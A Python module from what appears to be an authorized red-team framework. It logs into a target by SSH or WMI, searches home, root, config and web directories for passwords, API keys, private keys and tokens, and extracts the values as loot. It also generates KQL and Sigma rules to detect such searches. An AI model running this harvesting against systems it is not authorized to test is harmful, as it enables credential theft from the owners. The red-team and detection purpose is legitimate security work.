ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.
Python active-directorycloud-securitydefensive-validationfastapigood-first-issuemitre-attackopsecreactred-teamreportingsecurity
"""
ARES Exfil Module - Secrets Scanner (T1552 / T1083)
Two live execution paths:
Linux/SSH - paramiko connect, run grep -rIl against /home /root /etc /opt /var/www,
then grep each match for credential regex patterns, parse line hits.
Windows/WMI - impacket WMIEXEC, run PowerShell Get-ChildItem | Select-String
against common config paths, parse JSON output.
MITRE ATT&CK:
T1552 - Unsecured Credentials
T1552.001 - Credentials In Files
T1083 - File and Directory Discovery
"""
from __future__ import annotations
import re
import shlex
from typing import Any
from ares.core.campaign import Finding, Severity
from ares.core.logger import audit, get_logger
from ares.core.tracing import trace_module
from ares.modules.base import BaseModule, OpsecLevel
from ares.modules.params import SecretsScanParams
from ares.sdk import (
CircuitBreaker,
EvidenceRecord,
ModuleResult,
NetworkPermission,
ProcessPermission,
module_contract,
)
logger = get_logger("ares.modules.exfil.secrets_scan")
_SECRET_PATTERNS: dict[str, str] = {
"aws_access_key": r"AKIA[0-9A-Z]{16}",
"generic_api_key": r"(?i)(api[_-]?key|apikey)\s*[=:]\s*['\"]?[A-Za-z0-9_\-]{16,}",
"private_key_pem": r"-----BEGIN (RSA |EC |OPENSSH )?PRIVATE KEY-----",
"password_field": r"(?i)(password|passwd|pwd)\s*[=:]\s*['\"]?.{6,}",
"connection_string": r"(?i)(server|host)\s*=.{3,};.*(password|pwd)\s*=",
"jwt_token": r"eyJ[A-Za-z0-9_\-]+\.eyJ[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+",
}
_LINUX_SCAN_PATHS = "/home /root /etc /opt /var/www /srv"
_WIN_SCAN_PATHS = r"C:\inetpub C:\Users C:\ProgramData C:\Windows\System32\config"
# grep pattern that hits any of the regex patterns above
_GREP_PATTERN = "|".join([
r"AKIA[0-9A-Z]{16}",
r"(password|passwd|pwd)\s*[=:]",
r"-----BEGIN.*PRIVATE KEY",
r"(api_key|apikey)\s*[=:]",
r"eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+",
])
import math
from collections import Counter
def calculate_shannon_entropy(data: str) -> float:
"""Calculate Shannon entropy for a given string."""
if not data:
return 0.0
entropy = 0.0
length = len(data)
for count in Counter(data).values():
p = count / length
entropy -= p * math.log2(p)
return round(entropy, 2)
_PLACEHOLDER_WORDS = frozenset({
"password", "p@ssword", "pass", "pwd", "123456", "12345678",
"changeme", "change_me", "your_password", "yourpassword",
"secret", "dummy", "admin", "test", "todo", "xxx", "placeholder",
"example", "sample", "replace_me", "none", "null",
})
_PLACEHOLDER_SUBSTRINGS = (
"placeholder", "dummy", "example", "sample", "replace_me", "changeme", "change_me", "your_"
)
def _is_placeholder_token(token: str, file_path: str = "") -> bool:
"""Robust heuristic check whether an extracted token is a dummy, fixture, or placeholder."""
t = token.lower().strip()
f = file_path.lower()
if any(kw in f for kw in ("test", "fixture", "mock", "example", "sample", "spec")):
return True
if t in _PLACEHOLDER_WORDS:
return True
if any(sub in t for sub in _PLACEHOLDER_SUBSTRINGS):
return True
if len(t) >= 6 and len(set(t)) <= 3:
return True
return False
def _compute_dynamic_confidence(base_conf: float, token: str, entropy: float, is_placeholder: bool) -> float:
"""Compute statistically calibrated confidence score from pattern base and entropy characteristics."""
conf = base_conf
if is_placeholder:
conf -= 0.45
else:
if entropy >= 3.5:
conf += 0.05
elif entropy < 2.5:
conf -= 0.20
if len(token) < 6:
conf -= 0.15
return round(max(0.15, min(0.98, conf)), 2)
def _classify(line: str) -> str:
for name, pat in _SECRET_PATTERNS.items():
if re.search(pat, line, re.IGNORECASE):
return name
return "generic_credential"
def extract_secret_metadata(snippet: str, file_path: str = "") -> dict[str, Any]:
"""Parse line snippet, isolate secret value, compute entropy and dynamic confidence."""
raw_snippet = snippet.strip()
# 1. AWS Access Key (AKIA... 20 chars)
m_aws = re.search(r"\b(AKIA[0-9A-Z]{16})\b", raw_snippet)
if m_aws:
token = m_aws.group(1)
entropy = calculate_shannon_entropy(token)
is_placeholder = _is_placeholder_token(token, file_path)
conf = _compute_dynamic_confidence(0.95, token, entropy, is_placeholder)
return {
"pattern": "aws_access_key",
"snippet": raw_snippet[:150],
"extracted_secret": token,
"secret_value": token,
"entropy": entropy,
"confidence": conf,
"is_placeholder": is_placeholder,
}
# 2. Private Key Header
m_key = re.search(r"(-----BEGIN (?:RSA |EC |OPENSSH |DSA )?PRIVATE KEY-----)", raw_snippet)
if m_key:
token = m_key.group(1)
entropy = calculate_shannon_entropy(token)
is_placeholder = _is_placeholder_token(token, file_path)
conf = _compute_dynamic_confidence(0.98, token, entropy, is_placeholder)
return {
"pattern": "private_key_pem",
"snippet": raw_snippet[:150],
"extracted_secret": token,
"secret_value": token,
"entropy": entropy,
"confidence": conf,
"is_placeholder": is_placeholder,
}
# 3. JWT Token
m_jwt = re.search(r"\b(eyJ[A-Za-z0-9_\-]+\.eyJ[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+)\b", raw_snippet)
if m_jwt:
token = m_jwt.group(1)
entropy = calculate_shannon_entropy(token)
is_placeholder = _is_placeholder_token(token, file_path)
conf = _compute_dynamic_confidence(0.94, token, entropy, is_placeholder)
return {
"pattern": "jwt_token",
"snippet": raw_snippet[:150],
"extracted_secret": token,
"secret_value": token,
"entropy": entropy,
"confidence": conf,
"is_placeholder": is_placeholder,
}
# 4. Connection String
m_conn = re.search(r'''(?i)(?:connectionString=["']?)([^"'>\r\n]+)''', raw_snippet)
m_pwd_in_conn = re.search(r'''(?i)(?:password|pwd)\s*=\s*['"]?([^;'">\s]+)''', raw_snippet)
if m_conn or ("server=" in raw_snippet.lower() and "password=" in raw_snippet.lower()):
conn_str = m_conn.group(1) if m_conn else raw_snippet
pwd_val = m_pwd_in_conn.group(1) if m_pwd_in_conn else ""
entropy = calculate_shannon_entropy(pwd_val or conn_str)
is_placeholder = _is_placeholder_token(pwd_val or conn_str, file_path)
conf = _compute_dynamic_confidence(0.90, pwd_val or conn_str, entropy, is_placeholder)
return {
"pattern": "connection_string",
"snippet": raw_snippet[:150],
"extracted_secret": conn_str,
"secret_value": pwd_val or conn_str,
"entropy": entropy,
"confidence": conf,
"is_placeholder": is_placeholder,
}
# 5. Generic API Key
m_api = re.search(r"(?i)(?:api[_-]?key|apikey|secret[_-]?key)\s*[=:]\s*['\"]?([A-Za-z0-9_\-]{16,})", raw_snippet)
if m_api:
token = m_api.group(1)
entropy = calculate_shannon_entropy(token)
is_placeholder = _is_placeholder_token(token, file_path) or entropy < 2.5
conf = _compute_dynamic_confidence(0.85, token, entropy, is_placeholder)
return {
"pattern": "generic_api_key",
"snippet": raw_snippet[:150],
"extracted_secret": token,
"secret_value": token,
"entropy": entropy,
"confidence": conf,
"is_placeholder": is_placeholder,
}
# 6. Password Field
m_pass = re.search(r"(?i)(?:password|passwd|pwd)\s*[=:]\s*['\"]?([^'\";\r\n\s>]{3,})", raw_snippet)
if m_pass:
token = m_pass.group(1)
entropy = calculate_shannon_entropy(token)
is_placeholder = _is_placeholder_token(token, file_path)
conf = _compute_dynamic_confidence(0.80, token, entropy, is_placeholder)
return {
"pattern": "password_field",
"snippet": raw_snippet[:150],
"extracted_secret": token,
"secret_value": token,
"entropy": entropy,
"confidence": conf,
"is_placeholder": is_placeholder,
}
# Fallback
entropy = calculate_shannon_entropy(raw_snippet)
is_placeholder = _is_placeholder_token(raw_snippet, file_path)
conf = _compute_dynamic_confidence(0.50, raw_snippet, entropy, is_placeholder)
return {
"pattern": _classify(raw_snippet),
"snippet": raw_snippet[:150],
"extracted_secret": raw_snippet,
"secret_value": raw_snippet,
"entropy": entropy,
"confidence": conf,
"is_placeholder": is_placeholder,
}
def _ssh_scan(target: str, username: str, password: str = "",
key_path: str = "", paths: str = _LINUX_SCAN_PATHS,
known_hosts_file: str | None = None) -> list[dict]:
"""Run grep scan via paramiko SSH. Returns list of hit dicts.
Args:
known_hosts_file: Path to a known_hosts file for strict host-key
verification. Strongly recommended in production. When omitted,
AutoAddPolicy is used (MITM risk on untrusted networks).
"""
import paramiko
_log = get_logger("ares.modules.exfil.secrets_scan")
client = paramiko.SSHClient()
if known_hosts_file:
client.set_missing_host_key_policy(paramiko.RejectPolicy())
client.load_host_keys(known_hosts_file)
_log.info("ssh_host_key_verification_enabled",
target=target, known_hosts=known_hosts_file)
else:
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
_log.warning(
"ssh_host_key_unverified",
target=target,
risk=(
"Host key not verified - MITM possible on untrusted networks. "
"Pass known_hosts_file=<path> to enable strict verification."
),
)
connect_kwargs: dict = {"hostname": target, "username": username, "timeout": 15}
if key_path:
connect_kwargs["key_filename"] = key_path
else:
connect_kwargs["password"] = password
client.connect(**connect_kwargs)
hits: list[dict] = []
try:
# Step 1: find files containing credential patterns
find_cmd = (
f"grep -rIl "
f"-E '{_GREP_PATTERN}' "
f"{paths} 2>/dev/null | head -100"
)
_, stdout, _ = client.exec_command(find_cmd)
matched_files = [l.strip() for l in stdout.read().decode(errors="replace").splitlines() if l.strip()]
# Step 2: for each matched file, get the matching line + line number
for fpath in matched_files[:50]:
grep_cmd = f"grep -nI -E '{_GREP_PATTERN}' {shlex.quote(fpath)} 2>/dev/null | head -5"
_, fout, _ = client.exec_command(grep_cmd)
for match_line in fout.read().decode(errors="replace").splitlines():
parts = match_line.split(":", 2)
lineno = int(parts[0]) if parts[0].isdigit() else 0
content = parts[-1][:150] if len(parts) > 1 else match_line[:150]
meta = extract_secret_metadata(content, fpath)
hits.append({
"file": fpath,
"line": lineno,
"pattern": meta["pattern"],
"snippet": meta["snippet"],
"extracted_secret": meta["extracted_secret"],
"secret_value": meta["secret_value"],
"entropy": meta["entropy"],
"confidence": meta["confidence"],
"is_placeholder": meta["is_placeholder"],
})
finally:
client.close()
return hits
def _wmi_scan(target: str, username: str, password: str = "",
domain: str = "", paths: str = _WIN_SCAN_PATHS) -> list[dict]:
"""Run PowerShell credential scan via impacket WMIEXEC."""
from impacket.examples.wmiexec import WMIEXEC
ps_script = (
r"$paths = @('C:\\inetpub','C:\\Users','C:\\ProgramData'); "
r"$patterns = @('password\s*=','connectionstring','AKIA[0-9A-Z]{16}','-----BEGIN.*PRIVATE'); "
r"$hits = @(); "
r"foreach($p in $paths){"
r" Get-ChildItem -Path $p -Recurse -File -ErrorAction SilentlyContinue | "
r" Where-Object {$_.Extension -in '.config','.xml','.json','.env','.ini','.txt'} | "
r" ForEach-Object { "
r" $f=$_.FullName; "
r" $patterns | ForEach-Object { "
r" $pat=$_; "
r" Select-String -Path $f -Pattern $pat -ErrorAction SilentlyContinue | "
r" Select-Object -First 3 | ForEach-Object { "
r" $hits += [PSCustomObject]@{file=$f;line=$_.LineNumber;snippet=$_.Line.Substring(0,[math]::Min(150,$_.Line.Length))} "
r" } "
r" } "
r" } "
r"} "
r"$hits | ConvertTo-Json -Compress"
)
cmd = f"powershell.exe -NoProfile -NonInteractive -Command \"{ps_script}\""
wmi = WMIEXEC(target, username, password, domain, share="ADMIN$", noOutput=False)
output = wmi.run(cmd)
import json as _json
hits: list[dict] = []
try:
raw = _json.loads(output.strip()) if output.strip() else []
if isinstance(raw, dict):
raw = [raw]
for item in raw:
fpath = item.get("file", "")
snippet = item.get("snippet", "")[:150]
meta = extract_secret_metadata(snippet, fpath)
hits.append({
"file": fpath,
"line": item.get("line", 0),
"pattern": meta["pattern"],
"snippet": meta["snippet"],
"extracted_secret": meta["extracted_secret"],
"secret_value": meta["secret_value"],
"entropy": meta["entropy"],
"confidence": meta["confidence"],
"is_placeholder": meta["is_placeholder"],
})
except Exception:
pass
return hits
@module_contract(
permissions=[
NetworkPermission(ports=[22, 135, 445], protocols=["tcp"]),
ProcessPermission(allow_subprocesses=False),
],
circuit_breaker=CircuitBreaker(name="exfil.secrets_scan", failure_threshold=5),
params_model=SecretsScanParams,
)
class SecretsScan(BaseModule):
"""
exfil.secrets_scan - Scan filesystem for hardcoded credentials, API keys, private keys, and connection strings
OPSEC: LOW
MITRE: "T1552", "T1552.001", "T1083"
REQUIRES: "target"
OUTPUTS: "credential_list", "sensitive_data_found"
"""
MODULE_ID = "exfil.secrets_scan"
MODULE_NAME = "Secrets Scanner"
MODULE_CATEGORY = "exfil"
MODULE_DESCRIPTION = "Scan filesystem for hardcoded credentials, API keys, private keys, and connection strings"
MODULE_AUTHOR = "ARES Team <[email protected]>"
REQUIRES = ["target"]
OUTPUTS = ["credential_list", "sensitive_data_found"]
MITRE_TECHNIQUES = ["T1552", "T1552.001", "T1083"]
PARAMS_MODEL = SecretsScanParams
OPSEC_LEVEL = OpsecLevel.LOW
async def validate(self, ctx: "Any") -> None:
"""Pre-flight param checks before any network call."""
await super().validate(ctx)
from ares.core.context import ExecutionContext
from ares.core.errors import ModuleValidationError
if not isinstance(ctx, ExecutionContext):
return
target = getattr(ctx, "target", "") or ctx.params.get("target", "")
if not target:
raise ModuleValidationError(
"exfil.secrets_scan requires 'target' - IP or hostname.",
module_id=self.MODULE_ID, field="target",
)
async def execute(self, ctx: "Any") -> "ModuleResult":
"""ExecutionContext-based entry point (v0.9.0+)."""
from ares.modules.base import ModuleResult
if getattr(ctx, "dry_run", False):
return ModuleResult(status="dry_run", module_id=self.MODULE_ID,
raw={"dry_run": True})
params = getattr(ctx, "params", {})
if isinstance(params, SecretsScanParams):
kwargs = params.model_dump()
elif isinstance(params, dict):
kwargs = dict(params)
else:
kwargs = {}
raw_pwd = kwargs.get("password") or getattr(ctx, "password", "")
if hasattr(raw_pwd, "get_secret_value"):
kwargs["password"] = raw_pwd.get_secret_value()
elif raw_pwd is not None:
kwargs["password"] = str(raw_pwd)
else:
kwargs["password"] = ""
if not kwargs.get("target") and getattr(ctx, "target", ""):
kwargs["target"] = ctx.target
kwargs["dry_run"] = getattr(ctx, "dry_run", False)
findings, raw = await self.run(**kwargs)
# Cryptographic Evidence Records with SHA-256 Merkle Provenance
evidence_chain: list[EvidenceRecord] = []
all_hits: list[dict[str, Any]] = []
for finding in findings:
hits = (
finding.evidence.get("hits", [])
if hasattr(finding, "evidence") and isinstance(finding.evidence, dict)
else []
)
all_hits.extend(hits)
for hit in hits[:20]:
ev = EvidenceRecord(
artifact_id=f"secret-{str(hit.get('pattern', 'hit')).lower().replace('_', '-')}",
source_target=getattr(ctx, "target", kwargs.get("target", "")),
collected_by=self.MODULE_ID,
data={
"pattern": hit.get("pattern"),
"file": hit.get("file"),
"line": hit.get("line"),
"snippet": hit.get("snippet"),
"extracted_secret": hit.get("extracted_secret"),
"secret_value": hit.get("secret_value"),
"entropy": hit.get("entropy"),
"confidence": hit.get("confidence"),
"is_placeholder": hit.get("is_placeholder", False),
},
tags=["exfil", "secrets_scan", "t1552"],
)
evidence_chain.append(ev)
raw["evidence_chain"] = [e.data for e in evidence_chain]
raw["evidence_integrity"] = [e.record_hash for e in evidence_chain]
raw["discovered_secrets"] = all_hits
# Closed-loop Purple Telemetry Synthesis (Sentinel KQL + Sigma YAML)
kql_rule = (
"// Microsoft Sentinel - Mass File Content Searching for Hardcoded Secrets\n"
"SecurityEvent\n"
"| where TimeGenerated > ago(2h)\n"
"| where EventID == 4688\n"
"| extend Cmd = tolower(CommandLine)\n"
"| where Cmd has_any (\"select-string\", \"findstr\", \"grep -r\", \"grep -i\") "
"and Cmd has_any (\"password\", \"connectionstring\", \"begin private key\", \"akia\", \"secret\")\n"
"| project TimeGenerated, Computer, Account, Process, CommandLine, ParentProcessName"
)
sigma_rule = (
"title: File Content Searching for Plaintext Passwords and API Keys\n"
"id: b2c3d4e5-f6a7-48b9-c0d1-e2f3a4b5c6d7\n"
"status: experimental\n"
"description: Detects command-line utilities scanning filesystem files for hardcoded passwords and private keys\n"
"references:\n"
" - https://attack.mitre.org/techniques/T1552/001/\n"
"author: ARES Purple Team Modernization\n"
"date: 2026-03-30\n"
"logsource:\n"
" category: process_creation\n"
" product: windows\n"
"detection:\n"
" selection_tool:\n"
" CommandLine|contains:\n"
" - 'Select-String'\n"
" - 'findstr'\n"
" - 'grep -r'\n"
" selection_secrets:\n"
" CommandLine|contains:\n"
" - 'password'\n"
" - 'connectionstring'\n"
" - 'AKIA'\n"
" - 'BEGIN'\n"
" condition: selection_tool and selection_secrets\n"
"level: high\n"
"tags:\n"
" - attack.credential_access\n"
" - attack.t1552.001"
)
raw.setdefault("loot", {})
raw["loot"]["extracted_secrets"] = all_hits
raw["loot"]["detection_kql"] = kql_rule
raw["loot"]["detection_sigma"] = sigma_rule
raw["hardcoded_secrets_detected"] = bool(raw.get("credential_list"))
raw["private_key_exposure"] = any(
"ssh" in str(c).lower() or "private" in str(c).lower() for c in raw.get("credential_list", [])
)
raw["cloud_credentials_exposed"] = any(
"aws" in str(c).lower() or "akia" in str(c).lower() for c in raw.get("credential_list", [])
)
raw["filesystem_secret_audit_complete"] = True
return ModuleResult(
status="success" if (findings or raw.get("credential_list")) else "partial",
findings=findings, raw=raw, module_id=self.MODULE_ID,
execution_id=getattr(ctx, "execution_id", ""),
)
@trace_module("exfil.secrets_scan")
async def run(self, **kwargs: Any) -> tuple[list[Finding], dict[str, Any]]:
self._findings = []
ctx = kwargs.get("ctx") or kwargs
target = ctx.get("target", "")
dry_run = ctx.get("dry_run", False)
username = ctx.get("username", "")
password = ctx.get("password", "")
domain = ctx.get("domain", "")
key_path = ctx.get("key_path", "")
platform = ctx.get("platform", "linux").lower() # "linux" or "windows"
if not target:
return [], {"error": "no_target"}
logger.info("secrets_scan", target=target, platform=platform, dry_run=dry_run)
audit("secrets_scan", actor=username or "operator", source="operator",
target=target, technique="T1552.001")
if dry_run:
# Dry-run must NOT fabricate findings. A dry run only confirms the
# module is dispatchable and in scope; returning a hardcoded CRITICAL
# "secret found" through the validated-findings pipeline poisons
# reports and dashboards with evidence that was never observed.
# Mirror the correct pattern in credential/pass_the_hash.py. (AUDIT run-1 H12)
return [], {"dry_run": True}
if not username:
return [], {"error": "no_credential_username"}
protocol = "smb" if platform == "windows" else "ssh"
await self.before_request(target, protocol)
try:
if platform == "windows":
try:
from impacket.examples.wmiexec import WMIEXEC # noqa: F401
except ImportError:
return [], {"error": "impacket_not_installed"}
hits = _wmi_scan(target, username, password, domain)
else:
try:
import paramiko # noqa: F401
except ImportError:
return [], {"error": "paramiko_not_installed"}
hits = _ssh_scan(target, username, password, key_path)
except Exception as exc:
raise self._classify_error(exc) from exc
if hits:
dynamic_conf = round(sum(h.get("confidence", 0.85) for h in hits) / len(hits), 2)
self.finding(
title = f"Secrets found in filesystem on {target}",
description = (
f"Found {len(hits)} potential credential(s) in {len({h['file'] for h in hits})} file(s):\n"
+ "\n".join(f" [{h['pattern']}] {h['file']}:{h['line']}" for h in hits[:20])
+ (f"\n...and {len(hits)-20} more" if len(hits) > 20 else "")
),
severity=Severity.CRITICAL, confidence=dynamic_conf,
mitre_technique="T1552.001", mitre_tactic="Credential Access",
evidence={"hits": hits[:50]},
remediation=(
"Remove hardcoded credentials from all config files. "
"Use a secrets manager (Vault, AWS SSM, Azure KV). "
"Rotate all exposed credentials immediately."
),
host=target,
)
return self._findings[:], {
"credential_list": list({h["file"] for h in hits}),
"discovered_secrets": hits,
"sensitive_data_found": bool(hits),
"hit_count": len(hits),
}